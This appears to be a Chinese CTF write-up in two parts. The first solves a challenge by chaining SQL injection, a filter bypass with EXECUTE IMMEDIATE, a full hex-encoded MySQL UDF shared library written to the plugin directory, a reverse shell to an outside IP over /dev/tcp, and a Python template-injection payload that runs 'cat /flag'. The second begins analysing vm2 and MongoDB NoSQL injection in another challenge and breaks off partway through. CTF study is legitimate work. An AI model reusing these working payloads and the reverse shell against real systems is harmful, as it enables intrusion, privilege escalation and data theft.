这个 Draw Name 随便输入一点,感觉像是加密了一遍,并不是随机数,然后 Calc 可以直接执行 SQL 代码

可以用 Bp 简单 fuzz 一下:

可以知道 FUZZ 了以下词:

1
"INSERT", "UPDATE", "OUTFILE", "DUMPFILE", "FUNCTION", "SCHEMA", "_", "FLAG","PREPARE", "DELETE", "DROP", "ALTER", "CREATE", "UNION", "SELECT", "=", "@@", "SET", "INTO",

不过并没有过滤引号和 EXECUTE 之类的,过滤掉的一些关键词也可以通过命令拼接来实现:

1
1;EXECUTE IMMEDIATE concat("sel", "ect ", unhex('40'), unhex('40'), "secure", unhex('5f'), "file", unhex('5f'), "priv");

可以发现 secure_file_priv 的值为空

1
1;EXECUTE IMMEDIATE concat("sel", "ect ", unhex('40'), unhex('40'), "plugin", unhex('5f'), "dir");

可以返回:
@@plugin_dir: [47 117 115 114 47 108 105 98 47 109 121 115 113 108 47 112 108 117 103 105 110 47]

解码后可以知道是:/usr/lib/mysql/plugin/

从上面两个可以得知接下来的步骤就是进行 UDF 提权

1
1;EXECUTE IMMEDIATE concat("SEL", "ECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 IN", "TO DUMP", "FILE '/usr/lib/mysql/plugin/udf.so'");

然后创建函数:

1
1;EXECUTE IMMEDIATE concat("cre", "ate func", "tion sys", unhex('5f') ,"eval returns string soname 'udf.so'");

然后尝试调用函数:

1
1;EXECUTE IMMEDIATE concat("sel", "ect ", "sys", unhex('5f'), "eval('whoami')");

不过这个解码出来是 mysql,如果执行 cat /flag 会返回 <nil>,说明还需要进一步提权

尝试反弹 shell:

1
1; EXECUTE IMMEDIATE concat("sel", "ect ", "sys", unhex('5f'), "eval('/bin/bash -c ''bash -i >& /dev/tcp/124.xxx/2222 0>&1''')");

然后查看有没有SUID提权:find / -user root -perm -4000 -print 2>/dev/null

好像是没有可以利用的,可以查看进程:

可以看到 MySQL 以 root 权限运行,结合之前的 /Draw 目录,可以推测需要审计源代码,这里可以接入 IDAMCP然后让 AI 去分析,能获得源代码

这里的函数列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
type templateFunc struct {
safe bool
call func(string) (string, error)
}

var templateFuncs = map[string]templateFunc{
"draw_number": {
safe: true,
call: func(name string) (string, error) {
return fmt.Sprintf("%d", crc32.ChecksumIEEE([]byte(name))), nil
},
},
"strrot": {
safe: true,
call: func(value string) (string, error) {
return strrot(value), nil
},
},
"run": {
safe: false,
call: func(command string) (string, error) {
return runCommand(command)
},
},
}

runCommand() 直接执行 shell 完成 RCE;

然后就是三个正则:

1
2
3
4
5
6
var (
templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)
templateVarRE = regexp.MustCompile(`(?is)%(.*)%`)
templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)
quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)
)

渲染模板:

1
2
<h1>Hello, <b><\ %name% /></b></h1>
<p class="number">Your number today: <b><\ draw_number(%name%); /></b></p>

大概就是绕过正则和替换,让命令执行到 CommandRun() 然后 RCE,可以先看四个正则的逻辑:

1
templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)

就是不分大小写的非贪婪匹配 <\ /> 和里面所包裹的任意字符:非贪婪匹配到第一个/>就会停止

1
templateVarRE = regexp.MustCompile(`(?is)%(.*)%`)

就是匹配 %username% 并捕获 username

1
templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)

就是匹配函数: <\ 函数名('参数'); [unsafe] />

1
quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)

匹配 <\ '字符串1' '字符串2' ... /> 的结构, 标签内部只能包含单引号包裹的字符串和空白字符

然后这里的处理是有顺序的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
func parseTemplateString(input string, vars map[string]string) (string, error) {
out := input
for i := 0; i < 100; i++ {
cmd := templateCommandRE.FindString(out)
if cmd == "" {
return out, nil
}
replacement, err := commandHandler(cmd, vars)
if err != nil {
return "", err
}
out = strings.ReplaceAll(out, cmd, replacement)
}
return "", errors.New("template recursion limit exceeded")
}



func commandHandler(cmd string, vars map[string]string) (string, error) {
handled := cmd
if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil {
name := matches[1]
handled = strings.ReplaceAll(handled, "%"+name+"%", "'"+getVar(name, vars)+"'")
} else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil {
body := matches[1]
funcName := strings.ToLower(matches[2])
param := matches[3]
unsafe := matches[4] != ""

fn, ok := templateFuncs[funcName]
if !ok {
return "undefined", nil
}
if !unsafe && !fn.safe {
return "", errAccessDenied
}

res, err := fn.call(param)
if err != nil {
return "", err
}
handled = strings.ReplaceAll(handled, body, "'"+res+"'")
}

if handled != cmd {
return handled, nil
}
if !quotedCommandRE.MatchString(cmd) {
return "undefined", nil
}

out := strings.ReplaceAll(cmd, "'", "")
out = strings.ReplaceAll(out, `<\`, "")
out = strings.ReplaceAll(out, `/>`, "")
return out, nil
}

前面的一个大循环,只要匹配到 <\ /> 就进入 commandHandler

先执行 templateVarRE.FindStringSubmatch(cmd);,如果发现有 %name% 就替换成 'name'

如果没有就匹配 matches := templateFuncRE.FindStringSubmatch(cmd); 匹配以下字段:

1
2
3
4
body := matches[1]
funcName := strings.ToLower(matches[2])
param := matches[3]
unsafe := matches[4] != ""

然后直接扔给上面的函数去执行

再没有的话就检测 quotedCommandRE.MatchString(cmd),删除 <\ /> '

这里有对安全的校验:

1
2
3
4
5
6
7
8
9
unsafe := matches[4] != ""

fn, ok := templateFuncs[funcName]
if !ok {
return "undefined", nil
}
if !unsafe && !fn.safe {
return "", errAccessDenied
}

也就是说,要么是命令本身的 safeTrue,要么就是出现 <\run('cat /flag');unsafe/> 这样的形式,所以我们要想办法带上 unsafe

根据执行逻辑,我们可以准备一个嵌套链攻击:

1
2
3
4
5
6
7
8
vars_payload = {
"name": "<<%n1%",
"n1": "%n2%",
"n2": r"\\%n3%",
"n3": "%n4%",
"n4": "strrot(%",
' </b></h1>\n <p class="number">Your number today: <b><\\ draw_number(%name': rotated_command,
}

这个 payload 会在运行的时候展开:

1
%name%  →  ''<<%n1%'  →  '<<'%n2%''  →  '<<''\\%n3%'''  →  '<<''\\'%n4%''''  → '<<''\\''strrot(%'''''

最后渲染收到的 payload:<\ '<<''\\''strrot(%''''' />

首先 quotedCommandRE 会把单引号都删除:<\ <<\\strrot(% /> 然后再移除 <\/>,变成:<\strrot(%

由于渲染模板固定,所以 /draw 应该收到的就是:

1
2
<h1>Hello, <b> <\strrot(% </b></h1>
<p class="number">Your number today: <b><\ draw_number(%name%); /></b></p>

于是根据 templateVarRE.FindStringSubmatch(cmd); 的匹配规则,中间的 </b></h1><p class="number">Your number today: <b><\ draw_number(%name 就都算作一个变量

那么既然可控了,那怎么在 ; /> 这里执行代码?我们已知 strrot(strrot(x)) == x,那么可以利用 strrot 将我们已经提前 strrot 的代码还原回去,从而执行 run(cat /flag)

我们有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import urllib.parse

def draw_with_vars(vars_payload):
return "draw?" + urllib.parse.urlencode(vars_payload)


def strrot(value):
chars = []
for ch in value:
code = ord(ch)
if 33 <= code <= 126:
chars.append(chr(33 + ((code - 33 + 47) % 94)))
else:
chars.append(ch)
return "".join(chars)


def trigger_template_rce():
unsafe_command = r"/><\run('cat /flag');unsafe/>"
rotated_command = strrot(unsafe_command)
vars_payload = {
"name": "<<%n1%",
"n1": "%n2%",
"n2": r"\\%n3%",
"n3": "%n4%",
"n4": "strrot(%",
' </b></h1>\n <p class="number">Your number today: <b><\\ draw_number(%name': rotated_command,
}
print("Payload:")
body = draw_with_vars(vars_payload)
print(body)

if __name__ == "__main__":
trigger_template_rce()


#draw?name=%3C%3C%25n1%25&n1=%25n2%25&n2=%5C%5C%25n3%25&n3=%25n4%25&n4=strrot%28%25&+%3C%2Fb%3E%3C%2Fh1%3E%0A++++%3Cp+class%3D%22number%22%3EYour+number+today%3A+%3Cb%3E%3C%5C+draw_number%28%25name=%5Emk-CF%3FWV42E+%5E7%3D28VXjF%3FD276%5Em

AAA’26

题目描述:

AAA’26 Big-1 Conference
Single accepted paper, many disappointed authors, immaculate proceedings energy.
Held in: TBD Convention Center, Room TBD, City TBD

预期难度: 中等(540 / 1000 pts / 18 solves);使用 codex 预期解耗时:3 小时

题目定位: 一个经典的 CTF 串串题,结合多个传统的新型漏洞(MongoDB、vm2)。


题目是一个提交 Paper 的网站,分有 user,reviewer,admin 三种身份

题目给了附件,所以可以大致预览一下都是什么,可以定位到 lib/ 下才是核心代码

auth.js 下主要是用 JWT 验证 admin,这里可以留个心眼,后面可能需要伪造 JWT 或者是窃取 admin 的 JWT

cameraReady.js 下主要是处理上传的 PDF Paper,里面用到了 pdf-image,底层会调用 ImageMagick 的 convert,然后里面的:

1
2
3
4
5
6
7
8
9
async function buildThumbnail(pdfPath) {
const pdf = new PDFImage(pdfPath, {
outputDirectory: config.thumbnailsDir,
convertOptions: {
'-thumbnail': '480x360',
'-background': 'white',
'-alpha': 'remove'
}
});

也用到了 ImageMagick 的参数,这里也同样可以留个心眼,可能最后会利用这个命令来进行操作

filters.js 里主要是拼接命令然后交给 vm2 去执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function runReviewerExpression(expression, item) {
if (typeof expression !== 'string' || expression.length === 0 || expression.length > 4096) {
throw new Error('invalid expression');
}

// The Big-1 PC is sure open JavaScript search will preserve double-blind review, because optimism is a methodology.
const source = `
const paper = item.paper;
const review = item.review;
const reviewer = item.reviewer;
const scores = item.scores;
Boolean((() => (${expression}))())
`;

return runExpression(source, item);
}

这里将表达式直接拼进 source 里,然后交给 vm2:

1
2
3
4
5
function runExpression(source, item, timeout = 1250) {
const vm = new VM({
timeout,
sandbox: { item }
});

在这里接收 expression

1
2
3
4
function filterAuthorPapers(papers, query) {
const expression = buildAuthorSearchExpression(query || {});
return papers.filter((paper) => runAuthorExpression(expression, authorSearchItem(paper)));
}

如果说 item 长这样:

1
2
3
4
5
6
7
8
9
item = {
paper:{
status:"accepted"
},

review:{
score:9
}
}

然后输入:

1
2
3
paper.status==="accepted"
&&
review.score>=8

拼接为:

1
2
3
4
5
6
7
8
const paper=item.paper;
const review=item.review;

Boolean((() => (
paper.status==="accepted"
&&
review.score>=8
))())

返回结果就为 true

然后就是校验权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async function filterReviewerDocuments(app, request, expression) {
const token = getBearerOrCookie(request);
const docs = await reviewerDocuments(request.user);
const verified = await app.jwt.verify(token);
if (!verified || verified.id !== request.user.id || verified.role !== request.user.role) {
throw new Error('invalid token');
}

const matches = [];

for (const item of docs) {
if (runReviewerExpression(expression, filterView(item))) {
matches.push(item);
}
}

return matches;
}

不过这里没说到底校验的是什么权限,可以留到后面看谁触发了,先猜测一手 reviewer

helpers.js 里主要是一些查询,限定了不同角色可以查看哪些论文,然后就是生成刚刚上面提到的 item

papers.js 里主要是自动拒稿,这里你应该能感觉到要让自己的论文最后变成 Ac 才行

profileImport.js 主要就是转换成 JSON 进行查询,而 MongoDB 的注入一般都发生在传入 JSON object 到表达式这个过程中

1
2
3
4
5
6
onst record = {
userId: new ObjectId(userId),
retainedMetadata: profile.imported,
summary: summarizeServiceRecord(profile.imported, profile.importedFilename),
createdAt: now
};

这里上传的 JSON 会被保存在 retainedMetadata 中,而 profile 可控,可控在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
app.get('/reviewer/profile', { preHandler: auth.authenticate }, (request, reply) => {
return renderReviewerProfile(request, reply);
});

app.post('/reviewer/profile', { preHandler: auth.authenticate }, async (request, reply) => {
try {
const profile = await readReviewerProfile(request);
const result = await saveReviewerProfile(request.user.id, profile);
return renderReviewerProfile(request, reply, {
message: result.serviceRecord
? 'Reviewer profile saved. Service record queued for committee sync.'
: 'Reviewer profile saved.'
});
} catch {
return renderReviewerProfile(request, reply, {
error: 'Reviewer profile could not be imported.'
});
}
});

然后提交时,系统保存的是当前 draft:

1
2
3
'reviewerProfile.status': 'Submitted',
'reviewerProfile.submitted': { ...draft, submittedAt: new Date() },
'reviewerProfile.serviceRecordSummary': latestRecord.summary

提交后再次上传 service record 时,状态不会被退回 draft:

1
2
3
4
5
const nextStatus = existingProfile.status === 'Submitted'
? 'Submitted'
: serviceRecord
? 'Service Record Imported'
: 'Draft';

也就是说状态一旦为 Submitted 就不会被 saveReviewerProfile 覆写,可以先把 profile 标记为 Submitted(或系统中已有该状态),随后上传带恶意字段的 service record,系统仍然把新 record 用于后续的 syncReviewerServiceSlot,从而成为一个可利用的 oracle

1
2
const submitted = profile && profile.submitted;
const latestRecord = await latestReviewerServiceRecord(userId);

这里 submitted 如果率先提交了一个正常的 profile,那么这个状态就会被固定,而 latestRecord 是以最新的一次提交为准,所以你可以在第二次提交恶意的 profile

然后就是最后的查询:

1
2
3
4
5
6
7
8
9
10
11
function assignmentSlotQuery(submitted, rubric, packet) {
if (!packet || packet.slotValue === undefined) return null;

return {
used: false,
track: submitted.track,
kind: packet.queue,
rubricId: rubric.rubricId,
[packet.slotField]: packet.slotValue
};
}

这里接受了一个 [packet.slotField]: packet.slotValue,可以跟踪一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const packet = buildServiceDeskPacket(latestRecord, rubric);
const slotQuery = rubric ? assignmentSlotQuery(submitted, rubric, packet) : null;

function buildServiceDeskPacket(record, rubric) {
if (!record || !rubric) return null;

const policy = serviceDeskPolicy(rubric);
const fieldPath = SERVICE_DESK_FIELDS[policy.externalKey];
if (!fieldPath) return null;

return {
queue: policy.queue,
slotField: SERVICE_DESK_CREDENTIALS[policy.credential] || SERVICE_DESK_CREDENTIALS.invitation,
// packet.slotField = code
slotValue: valueAtPath(record.retainedMetadata, fieldPath),
// record.retainedMetadata.committee.registration.reference
recordId: record._id
};
}

function valueAtPath(value, pathParts) {
let current = value;
for (const part of pathParts || []) {
if (!isPlainObject(current)) return undefined;
current = current[part];
}
return current;
} // 相当于拼接成 obj.a.b.c

const SERVICE_DESK_FIELDS = {
overflowReference: ['committee', 'registration', 'reference'],
season: ['committee', 'registration', 'season'],
desk: ['committee', 'desk']
};
const SERVICE_DESK_CREDENTIALS = {
invitation: 'code'
};

所以这里查询就会变成:

1
2
[packet.slotField]: packet.slotValue
code: record.retainedMetadata.committee.registration.reference

然后 record.retainedMetadata.committee.registration.reference 是可控的,这里就算一个 NoSQL 注入

那我们要用这个来查询什么呢?

我们在 /routes/reviewer.js 中可以知道:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post('/api/reviewer/filter', { preHandler: auth.requireRole('reviewer') }, async (request, reply) => {
const expression = String((request.body && request.body.expression) || '');
try {
const docs = await filterReviewerDocuments(app, request, expression);
return reply.send({
ok: true,
count: docs.length,
results: docs.map((doc) => ({
paper: doc.paper,
review: doc.review,
reviewer: doc.reviewer,
scores: doc.scores
}))
});
} catch {
return reply.code(200).send({ ok: false, count: 0, results: [] });
}
});

这个 filters.js 里的校验权限是由 reviewer 来进行的,而想要成为 reviewer,就需要邀请码:

然后 seed.js 下能看到有一个 kind 和邀请码( code ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
await reviewerInvites.updateOne(
{ email: 'committee-shadow@aaa26.big1' },
{
$setOnInsert: {
email: 'committee-shadow@aaa26.big1',
code: crypto.randomBytes(18).toString('hex'),
track: 'systems',
kind: 'overflow',
rubricId: 'big1-overflow-systems',
chairStamp: crypto.randomBytes(16).toString('hex'),
used: false,
note: 'Overflow reviewer slot for the room marked TBD.',
createdAt: new Date()
}
},
